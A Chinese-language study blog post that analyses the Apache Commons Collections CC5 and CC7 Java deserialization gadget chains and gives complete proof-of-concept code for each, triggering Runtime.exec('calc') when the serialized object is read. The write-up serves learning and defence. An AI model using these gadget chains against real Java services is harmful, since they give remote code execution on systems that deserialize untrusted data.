
img

从前面分析过来,只有readObject里面有一些判断,所以我们直接分析如何走到valObj.toString就行了,valObj则传入我们的TiedMapEntry实例。

只有当valObj不是toString,且System.getSecurityManager() == null,或者是valObj为if中的基本类型的话就会触发到toString,所以我们在前面说明了需要没有security manager,然后其他全是或,我们有一个true就行了。

1
Object valObj = gf.get("val", null);

这里意思是将BadAttributeValueExpException的val字段赋值给valObj,所以我们要看的是val。

BadAttributeValueExpException的构造器是一个public,并且可以直接给val赋值。

img

但是可以发现,这里就已经调用了toString,所以我们不能在实例化的时候给val进行赋值,不然会提前触发。这个val是一个私有的。

img

Poc

我们利用反射即可,接下来构造POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.mashiro;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
public static void main(String[] args) throws Exception{

Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorate = LazyMap.lazyMap(new HashMap(), chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "1");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setValue(badAttributeValueExpException,"val",tiedMapEntry);

String serialize = serialize(badAttributeValueExpException);
unserialize(serialize);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

}

CC7链

前置

环境:jdk8u65、cc4+cc3.1(懒得改了,反正两个命名空间不冲突)

这条链主要还是cc1里面的LazyMap一部分,用了新的Hashtable。

注意这里有两个类不算是新的类,而是子类没有方法去调用了父类的方法。

Gadget Chain:

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

分析

还是从LazyMap的get方法开始。

img

寻找get的用法,根据链子我们可以找到对应的java.util.AbstractMap(这其实是HashMap的父类)。

img

img

img

好像还有点复杂,我们先继续往后面走。这个equals的用法应该也挺多的。

定位到org.apache.commons.collections.map.AbstractMapDecorator.equals。

我这里直接查找用法没找到,注意一下这个类是LazyMap的父类。

img

img

手动去看了一下,接着继续往后找java.util.Hashtable。

img

img

实现有点复杂,需要注意我们调用的是谁的方法以及传参。

其实到这也有点疑问,都是equals,为什么在前面不直接去找Hashtable的equals用法。

我们先接着往后走,后面分析的时候再来看看为什么。

img

最后能在Hashtable的readObject里面找到reconstitutionPut。

整个链子的流程我们就找完了,接下来就是去让链子各个步骤能够正常进行。

先从readObject开始分析,这里主要是for循环能够走进去就行了,也就是需要element>0。

它代表反序列化对象中的键值对数量,我们后续是要将LazyMap的实例作为key传进来的。

img

前面分析过,是要去调用到equals,这里就是做了一个key的判断,主要的地方就是:

1
if ((e.hash == hash) && e.key.equals(key))

第一个判断的作用是检查当前哈希表中的某个 Entry(e)的哈希值是否与新插入的 key 的哈希值相同,同时又判断了两者的key是否相同。

在 Java 中,&&(逻辑与)是 短路运算符(short-circuit operator),当 && 左侧的表达式为 false 时,右侧的表达式不会执行。

这里就涉及到了hash碰撞的问题了,因为如果我们第一个不同的话,那么就直接出if了,不会调用到后面的equals。

img

首先我们要知道Map 的 hashCode() 是基于它的 键值对 计算的,而不是对象本身的内存地址。

我们先来尝试找两个hash相同,但是值不一样的。

1
2
3
4
5
6
7
8
public class HashCrack {
public static void main(String[] args) {
String a = "Aa";
String b = "BB";
System.out.println(a.hashCode());
System.out.println(b.hashCode());
}
}

这里的Aa和BB其实就可以了,最后会得到两个2112的结果。

可以用以下代码做个试验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.mashiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class HashCrack {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap1.put("Aa",1);
lazyMap2.put("BB",1);
System.out.println(lazyMap1.hashCode());
System.out.println(lazyMap2.hashCode());
System.out.println(lazyMap1.equals(lazyMap2));
}
}


###
2113
2113
false

这里会弹计算器不用在意。

我们能通过后就继续走了,接着我们就会去调用到LazyMap的equals方法,但是LazyMap它没有equals方法,所以我们调用的是它的父类AbstractMapDecorator的方法。

img

然后这里会判断传进来的object与当前实例是否为同一对象,前面那段代码其实已经判断出来了为false,接着就是调用LazyMap实例中的map对象的equals,我们LazyMap实例化的时候是传了map和一个chainedTransformer:

1
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);

所以是去调用了hashMap1的equals方法,但是HashMap没有equals方法,所以会调用它父类AbstractMap的equals方法。

img

我们调试那段试验的代码,也是能够走到这里来。

img

这里其实就是用LazyMap的实例和HashMap的实例去做equals判断了,然后就会触发到LazyMap的get方法,随后就是chainedTransformer的一系列操作了。

构造POC

接下来就是构造poc了。

首先我们需要两个LazyMap的实例:

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);

用于后面的hash碰撞,我们还需要给两个lazyMap分别传入Aa和BB,并且实例化Hashtable将两个lazyMap传进去。

1
2
3
4
5
lazyMap1.put("Aa",1);
lazyMap2.put("BB",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);

但当我们直接运行这段代码的时候会发现计算器会在未进行序列化和反序列化的操作下弹出来。

经过调试可以发现是hashtable的put函数造成的,我们可以去看看它的实现。

img

在它的put里面有着和reconstitutionPut方法一样的判断(hashtable的大部分方法都有这个判断),从而导致了命令提前触发。

我们需要在hashtable的put之前不进行hash碰撞,所以我们将lazyMap2的BB放在put后传入就行了。

所以最终的POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.mashiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap1.put("Aa",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
lazyMap2.put("BB",1); // map是引用类型,直接改lazyMap2,hashtable里面的就会变化
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

总结

一直逃避的Java安全,最近才开始重新学习。学完这些链子,我觉得重点是弄懂基本类和如何触发恶意方法,在CC链里面最重要的就是CC1链和CC3链了,反复把这两条链弄懂后面的链子就基本上能够自己调试分析了,当然从其他简单的链子层层递进的学习到复杂链子也算是一种方式。

刚开始入手都很难,反复看总能看懂。

参考链接:

https://space.bilibili.com/2142877265/lists

https://www.cnblogs.com/nice0e3/p/13910833.html

https://infernity.top/2024/04/18/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC7%E9%93%BE/

https://cloud.tencent.com/developer/article/2287116

https://www.cnblogs.com/nice0e3/p/13860621.html#0x02-poc%E5%88%86%E6%9E%90

https://infernity.top/2024/04/17/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC4%E9%93%BE/#%E4%BF%AE%E6%94%B9size%E7%9A%84poc%EF%BC%9A

https://cloud.tencent.com/developer/article/2287105

https://www.cnblogs.com/nice0e3/p/13854098.html#0x01-%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86

https://www.freebuf.com/articles/web/391842.html

https://xz.aliyun.com/news/12115